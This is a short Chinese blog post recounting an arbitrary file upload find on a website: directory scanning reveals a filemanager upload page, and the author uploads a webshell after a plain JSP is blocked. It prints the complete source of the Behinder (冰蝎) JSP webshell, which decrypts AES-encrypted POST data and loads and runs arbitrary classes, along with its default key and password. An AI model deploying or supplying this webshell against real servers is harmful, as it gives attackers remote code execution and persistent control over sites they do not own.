任意文件上传漏洞挖掘(getshell)

最新推荐文章于 2025-02-24 15:59:20 发布

makven60

最新推荐文章于 2025-02-24 15:59:20 发布

阅读量534

点赞数

分类专栏：漏洞挖掘文章标签： web安全

本文链接：https://blog.youkuaiyun.com/huangyongkang666/article/details/134653186

版权

漏洞挖掘专栏收录该内容

7 篇文章

订阅专栏

任意文件上传漏洞挖掘(getshell)

1.在漏洞挖掘过程中进行找到该子域名页面，

在这里插入图片描述

2.没有内容就扫目录，成功发现filemanager/，点击访问

在这里插入图片描述

看到upload页面感觉有惊喜，

在这里插入图片描述

果然有上传功能，点击上传抓包，经测试发现普通jsp会被拦截，蚁剑连不上，所以选择冰蝎马上传，因为冰蝎马默认AES加密

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%><%
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

在这里插入图片描述